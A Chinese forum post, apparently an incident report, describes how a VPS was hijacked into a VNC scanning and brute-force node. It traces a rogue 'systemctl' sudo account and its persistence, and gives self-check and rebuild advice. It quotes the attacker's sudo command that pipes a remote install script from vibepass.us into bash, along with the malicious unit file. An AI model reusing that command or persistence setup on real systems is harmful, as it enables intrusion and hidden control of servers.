- vps2026-10-1948810
VPS 被黑后沦为 VNC 扫描 / 爆破节点:一次排查记录及自查方法
最近发现一台 VPS 的 CPU 占用异常,使用
htop检查后,发现多个伪装成 systemd 组件的可疑进程。进一步排查发现,服务器早在 2026 年 9 月 9 日就已经遭到入侵。攻击者创建了一个名为
systemctl的账户,赋予 sudo 权限,通过 SSH 登录后安装了一套远程控制程序,将 VPS 变成了 VNC 扫描和密码爆破节点。更麻烦的是,这套程序配置了 systemd + cron + rc.local + 多处二进制备份,即使杀死进程或删除部分文件,也可能自动恢复。
整理一下这次排查过程,也提醒其他 VPS 用户检查自己的服务器。
一、最初发现:CPU 占用异常
通过
htop发现多个高 CPU 占用进程:```
/var/lib/systemd/catalog/update-helper \
/var/lib/systemd/catalog/.cache/targets.txt \
/var/lib/systemd/catalog/.cache/passwords.txt \
200 3600``
另外还发现:``
/var/lib/systemd/catalog/systemd-sync-helper
/var/lib/systemd/catalog/systemd-network-monitor
/var/lib/systemd/catalog/socket-helper```这些名称看起来像正常系统组件,但并不是标准的 systemd 程序。
检查文件目录:```
ls -lah /var/lib/systemd/catalog/
ls -lah /var/lib/systemd/catalog/.cache/``
发现了:``
update-helper 2.8M
socket-helper 4.2M
systemd-sync-helper 11M
systemd-network-monitor 7.1M.cache/targets.txt 37M
.cache/passwords.txt 856B
.cache/agent.log 33M
.cache/found_vnc_passwords.txt
.cache/found_vnc_noauth.txt```从这些文件名、进程参数及后续连接记录判断,这套程序主要用于 VNC 扫描与密码尝试,同时还包含 SSH 爆破组件。
使用:```
ss -tanp``
发现服务器持续对外建立大量 TCP 连接,目标端口包括5900、5901、5903` 等常见 VNC 端口。例如:```
37.27.185.201:5900
65.21.151.28:5900
78.47.46.133:5901
95.216.222.142:5903```这些 IP 是扫描目标,不一定是攻击者控制的服务器,更不代表这些目标一定存在漏洞。
二、发现远程控制和自动恢复机制
继续检查:```
systemctl list-unit-files --all | grep -Ei 'helper|update|sync|monitor'``
发现了两个可疑服务:``
systemd-catalog-sync.service
systemd-resolved-monitor.service``
其中主服务配置包含:``
[Service]
User=root
ExecStart=/var/lib/systemd/catalog/systemd-sync-helper
Restart=always
RestartSec=3
OOMScoreAdjust=-1000Environment=COORDINATOR_URL=https://vibepass.us
Environment=BRUTE_BINARY=/var/lib/systemd/catalog/update-helper
Environment=SSH_BRUTE_BINARY=/var/lib/systemd/catalog/socket-helper
Environment=COORDINATOR_TLS_SKIP_VERIFY=1``
其中的vibepass.us` 是这次样本中配置的远程协调服务器地址,不是正常的 systemd 更新地址。程序还设置了:
-
Restart=always:自动重启服务。-
OOMScoreAdjust=-1000:尽量避免被 OOM Killer 终止。-
COORDINATOR_TLS_SKIP_VERIFY=1:跳过协调服务器的 TLS 证书验证。- 另一套 watchdog:监控、备份并尝试恢复主 Agent。
检查
/etc/cron.d/,还发现一个sys-warden文件,配置了开机运行和每 5 分钟检查一次守护程序:```
@reboot ...
/5 * ...``
此外,/etc/rc.local` 也被添加了启动命令。进一步从日志中发现,守护程序还会:
- 使用
chattr +i保护自身文件。- 在多个隐藏目录保存可执行文件备份。
- 监控主 Agent 是否存活。
- 尝试恢复被停止或丢失的组件。
发现的备份路径包括:```
/var/lib/systemd/private/.sys
/var/lib/accountsservice/.helper
/usr/local/lib/.sys-monitor
``所以,**单纯kill` 进程或删除主程序,并不能保证清理干净。**三、通过 SSH 日志追溯到了安装过程
这部分是最关键的发现。
使用:```
journalctl -u ssh --since "2026-09-08" \
--until "2026-09-16" --no-pager \
| grep -E 'Accepted |session opened'
``发现一个从未由我创建过的用户:``
systemctl
``注意,这里不是 Linux 的systemctl` 命令,而是攻击者使用的 Linux 用户名。它拥有 sudo 权限:```
uid=1000(systemctl)
groups=1000(systemctl),27(sudo)
```通过系统日志还原出的时间线如下(服务器时间 EDT):时间 |
事件 |09-09 02:37:55 |
系统收到 SIGINT,进入重启流程 |09-09 02:38 左右 |
账户数据库发生修改 |09-09 02:39:16 |
systemctl通过本地终端登录 |09-09 02:39:44 |
该账户通过 sudo 编辑 SSH 配置 |09-09 02:40:03 |
从104.153.208.101SSH 密码登录成功 |09-09 02:40:39 |
从45.39.60.60SSH 密码登录成功 |09-09 02:40:40 |
使用 sudo 下载并执行远程安装脚本 |09-09 02:40:50 |
恶意 watchdog 服务启动 |09-09 02:40:56 |
恶意扫描 Agent 启动 |09-09 02:40:57 |
建立隐藏备份和其他自恢复机制 |其中最有说服力的是 sudo 日志,记录了攻击者执行安装脚本的行为。
整理后的关键命令如下(认证信息已隐藏):```
curl -fsSL \
-H 'Authorization: Bearer [REDACTED]' \
'https://vibepass.us/files/install.sh' \
| bash
``这说明有人使用systemctl` 账户取得了 root 权限,并直接执行远程下载的脚本。9 月 15 日,还发现来自
185.255.126.3的两次systemctl密码登录成功记录。这些 IP 是相关 SSH 登录的来源 IP,不足以直接确认攻击者的真实身份,也不能排除代理或中转服务器。
四、后门账户是什么时候创建的?
通过对比系统保留的账户数据库备份:```
diff -u /etc/passwd- /etc/passwd
diff -u /etc/group- /etc/group
``发现:``
+systemctl:x:1000:1000::/home/systemctl:/bin/sh
``以及:``
-sudo:x:27:
+sudo:x:27:systemctl
```/etc/shadow-中同样没有这个账户,而当前/etc/shadow中存在。账户数据库的文件修改时间集中在 9 月 9 日 02:38 左右,与系统重启及后续登录高度吻合。
另外,日志显示系统在重启之后,先出现了
systemctl的本地终端登录,随后才出现 SSH 登录。因此怀疑攻击者可能利用 VPS 控制台、救援环境或之前取得的管理权限创建账户,但目前还没有证据确定最初的入侵入口。
这里也有一个值得一提的背景:这台 VPS 之前曾经出现过另一个未经授权的账户
userb,当时已经进行过清理,但没有重装系统。这两次事件是否存在关联,目前不能确认。
五、建议其他 VPS 用户如何自查?
以下命令主要用于检查,不会主动删除文件或停止服务。
1. 检查高 CPU 占用和异常进程```
htopps auxww --sort=-%cpu | head -30
``特别关注运行在/tmp、/var/tmp、/dev/shm` 或不寻常系统数据目录中的未知可执行程序。2. 检查最近的成功 SSH 登录```
last -ai | head -50journalctl -u ssh --no-pager \
| grep 'Accepted ' | tail -50
``部分系统的服务名为sshd,也可以直接检查/var/log/auth.log*`。3. 检查账户和 sudo 权限```
awk -F: '$3 >= 1000 && $3 < 65534' /etc/passwdawk -F: '$3 == 0' /etc/passwd
getent group sudo
```检查是否存在自己不认识的用户。注意 UID 大于等于 1000 的账户不一定是恶意账户。4. 检查 systemd 自定义服务```
systemctl list-unit-files --type=servicels -lah /etc/systemd/system/
``对可疑服务可以继续:``
systemctl cat suspicious.service
systemctl status suspicious.service
``不要仅因为服务名称包含systemd` 就认为它是可信的。5. 检查定时任务和其他自启动项```
crontab -lls -lah /etc/cron.d/
ls -lah /etc/cron.hourly/cat /etc/rc.local 2>/dev/null
``还应关注/etc/crontab`、其他用户的 crontab,以及 systemd timers。6. 检查异常网络连接```
ss -tunap
```如果 VPS 没有扫描业务,却出现大量对不同外部 IP、不同端口的并发连接,需要进一步排查对应进程。7. 检查 SSH 的实际配置```
sshd -T | grep -Ei \
'permitrootlogin|passwordauthentication|pubkeyauthentication'
``不要只检查/etc/ssh/sshd_config` 中是否注释了某项设置,还需要检查实际生效的配置。六、处理建议
如果确认服务器已经遭到入侵,尤其是攻击者已经取得 root 权限:
- 尽快通过服务商防火墙阻断恶意流量。
- 保留必要的日志、快照和证据。
- 不要认为删除恶意用户或进程就已经安全。
- 最好从可信系统镜像重装,只恢复经过检查的业务数据和配置。
- 轮换 SSH 密钥、密码、应用密钥,以及可能泄露的其他凭据。
- 尽量使用 SSH 公钥登录,禁用密码认证,并限制 SSH 管理入口。
对于重要服务,建议使用新的 VPS 实例重新部署,而不是继续信任一台已经被 root 权限恶意程序长期控制的系统。
最后
这次比较意外的是,恶意程序并没有使用特别隐蔽的技术,而是利用看起来正常的 systemd 命名、隐藏目录、自动重启、定时任务和备份恢复机制,长期驻留在服务器中。
如果不是因为 CPU 占用异常,可能还不会这么快发现。
目前已经确认了恶意程序的安装过程及多个持久化入口,但最初如何获得服务器管理权限,仍在调查中。
也提醒大家:如果 VPS 曾经被黑过,尤其是对方已经取得 root 权限,只删除一个后门账户可能远远不够。重装系统通常才是更可靠的恢复方式。
主楼 - nodedeep2026-10-1913672
总结:重装系统
- 清清荷凌2026-10-194602
高端,看都看不懂
- zzsy2026-10-1920450
yun